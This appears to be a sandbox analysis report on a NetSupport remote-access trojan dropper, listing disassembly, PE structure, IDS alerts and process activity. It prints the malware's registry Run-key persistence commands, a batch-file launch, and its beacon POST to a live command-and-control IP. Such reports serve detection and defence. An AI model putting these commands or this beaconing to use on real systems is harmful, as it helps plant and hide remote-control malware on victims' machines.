Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB77D09E1A8h
dec eax
add esp, 28h
jmp 00007FB77D09DB3Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007FB77D09CFC3h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007FB77D09DCD3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007FB77D09FCE7h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FB77D08C553h
dec eax
lea edx, dword ptr [00025747h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FB77D09EDA2h
int3
jmp 00007FB77D0A4F84h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x597a0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x597d4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x70000	0xe360	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6a000	0x306c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7f000	0x970	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x536c0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x53780	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4b3f0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48000	0x508	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x588bc	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4676e	0x46800	f06bb06e02377ae8b223122e53be35c2	False	0.5372340425531915	data	6.47079645411382	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x48000	0x128c4	0x12a00	2de06d4a6920a6911e64ff20000ea72f	False	0.4499003775167785	data	5.273999097784603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5b000	0xe75c	0x1a00	0dbdb901a7d477980097e42e511a94fb	False	0.28275240384615385	data	3.2571023907881185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6a000	0x306c	0x3200	b0ce0f057741ad2a4ef4717079fa34e9	False	0.483359375	data	5.501810413666288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6e000	0x360	0x400	1fcc7b1d7a02443319f8fcc2be4ca936	False	0.2578125	data	3.0459938492946015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x6f000	0x15c	0x200	3f331ec50f09ba861beaf955b33712d5	False	0.408203125	data	3.3356393424384843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x70000	0xe360	0xe400	2ce7b064b562668bb9f9675200fd1906	False	0.6302425986842105	data	6.596823435141548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7f000	0x970	0xa00	77a9ddfc47a5650d6eebbcc823e39532	False	0.52421875	data	5.336289720085303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x70680	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x711c8	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x72778	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x72ce0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x73588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x74430	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x74898	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x75940	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x77ee8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x7c5b8	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x7c388	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x7c4c8	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x7c258	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x7bf20	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x7bcc8	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x7cf98	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x7d180	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x7d350	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x7d508	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x7d650	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x7dac0	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x7dc28	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x7dd80	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x7de90	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x7df50	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0x7e110	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0x7bc60	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x7c840	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39786666666666665

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, FindNextFileA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipFree, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T14:58:03.946249+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49730	45.61.128.74	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 14:58:03.946249008 CET	49730	443	192.168.2.4	45.61.128.74
Nov 25, 2024 14:58:03.946285009 CET	443	49730	45.61.128.74	192.168.2.4
Nov 25, 2024 14:58:03.946342945 CET	49730	443	192.168.2.4	45.61.128.74
Nov 25, 2024 14:58:04.026742935 CET	49730	443	192.168.2.4	45.61.128.74
Nov 25, 2024 14:58:04.026760101 CET	443	49730	45.61.128.74	192.168.2.4
Nov 25, 2024 14:58:04.026837111 CET	443	49730	45.61.128.74	192.168.2.4
Nov 25, 2024 14:58:04.793548107 CET	49731	80	192.168.2.4	104.26.1.231
Nov 25, 2024 14:58:04.913762093 CET	80	49731	104.26.1.231	192.168.2.4
Nov 25, 2024 14:58:04.913844109 CET	49731	80	192.168.2.4	104.26.1.231
Nov 25, 2024 14:58:04.914463997 CET	49731	80	192.168.2.4	104.26.1.231
Nov 25, 2024 14:58:05.035070896 CET	80	49731	104.26.1.231	192.168.2.4
Nov 25, 2024 14:58:06.341289043 CET	80	49731	104.26.1.231	192.168.2.4
Nov 25, 2024 14:58:06.341442108 CET	49731	80	192.168.2.4	104.26.1.231
Nov 25, 2024 14:59:54.192513943 CET	49731	80	192.168.2.4	104.26.1.231
Nov 25, 2024 14:59:54.316920996 CET	80	49731	104.26.1.231	192.168.2.4
Nov 25, 2024 14:59:54.316977024 CET	49731	80	192.168.2.4	104.26.1.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 14:58:04.646657944 CET	62361	53	192.168.2.4	1.1.1.1
Nov 25, 2024 14:58:04.787056923 CET	53	62361	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 14:58:04.646657944 CET	192.168.2.4	1.1.1.1	0x5217	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 14:58:04.787056923 CET	1.1.1.1	192.168.2.4	0x5217	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:58:04.787056923 CET	1.1.1.1	192.168.2.4	0x5217	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:58:04.787056923 CET	1.1.1.1	192.168.2.4	0x5217	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.61.128.74connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	45.61.128.74	443	3492	C:\Users\Public\Netstat\shv.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:58:04.026742935 CET	216	OUT	POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.26.1.231	80	3492	C:\Users\Public\Netstat\shv.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:58:04.914463997 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 14:58:06.341289043 CET	965	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:58:06 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8e8226ce8d1b0f6b-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDCQRCRQBQ=EDIKMHACKPCOMDMHBDCPBJHK; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R9kIa6TwXGgTbqJessi%2BgT63EzlVubLMBObIW9z7E3zlBZDbxTjCg1qazs6jy2hU6vE2xGjETL%2FMC5dozHkCb1iXHL85WFrHphTMU1XPB7oypOlxibb9LUkIuzGDmDvfws7cCa%2FYI5YtMD%2Bv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1563&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=193&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240

Target ID:	0
Start time:	08:58:01
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6fe180000
File size:	2'283'788 bytes
MD5 hash:	A3CEA314D888A08B79002656A9F4B927
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
Imagebase:	0x7ff798f30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Imagebase:	0x7ff700300000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Imagebase:	0x7ff700300000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Users\Public\Netstat\shv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Netstat\shv.exe
Imagebase:	0xf00000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000000.1680595805.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\shv.exe, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:58:02
Start date:	25/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Imagebase:	0x7ff700300000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:58:03
Start date:	25/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Imagebase:	0x7ff700300000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:58:03
Start date:	25/11/2024
Path:	C:\Users\Public\Netstat\shv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Netstat\shv.exe
Imagebase:	0xf00000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000000.1691809237.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1694138825.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:58:14
Start date:	25/11/2024
Path:	C:\Users\Public\Netstat\shv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\shv.exe"
Imagebase:	0xf00000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.1805359841.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000000.1802595368.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:58:23
Start date:	25/11/2024
Path:	C:\Users\Public\Netstat\shv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\shv.exe"
Imagebase:	0xf00000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000000.1884540195.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1886119575.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:58:31
Start date:	25/11/2024
Path:	C:\Users\Public\Netstat\shv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\shv.exe"
Imagebase:	0xf00000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.1968165061.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000000.1965850134.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 00007FF6FE1AB190 Relevance: 123.9, APIs: 60, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE18255C: GetDlgItem.USER32 ref: 00007FF6FE1825AC
Part of subcall function 00007FF6FE18255C: SetWindowTextW.USER32 ref: 00007FF6FE1825C8

EndDialog.USER32 ref: 00007FF6FE1AB2D0
SetDlgItemTextW.USER32 ref: 00007FF6FE1AB320
GetMessageW.USER32 ref: 00007FF6FE1AB350
IsDialogMessageW.USER32 ref: 00007FF6FE1AB369
TranslateMessage.USER32 ref: 00007FF6FE1AB37B
DispatchMessageW.USER32 ref: 00007FF6FE1AB389
EndDialog.USER32 ref: 00007FF6FE1AB3D3
GetDlgItem.USER32 ref: 00007FF6FE1AB410
SendMessageW.USER32 ref: 00007FF6FE1AB431
SendMessageW.USER32 ref: 00007FF6FE1AB449
SetFocus.USER32 ref: 00007FF6FE1AB452
GetLastError.KERNEL32 ref: 00007FF6FE1AB634
GetLastError.KERNEL32 ref: 00007FF6FE1AB665
GetTickCount.KERNEL32 ref: 00007FF6FE1AB68B
GetLastError.KERNEL32 ref: 00007FF6FE1AB6F5
GetCommandLineW.KERNEL32 ref: 00007FF6FE1AB841
CreateFileMappingW.KERNEL32 ref: 00007FF6FE1AB900
MapViewOfFile.KERNEL32 ref: 00007FF6FE1AB923
Sleep.KERNEL32 ref: 00007FF6FE1AB9B6
UnmapViewOfFile.KERNEL32 ref: 00007FF6FE1AB9DF
CloseHandle.KERNEL32 ref: 00007FF6FE1AB9E8
SetDlgItemTextW.USER32 ref: 00007FF6FE1ABCDE
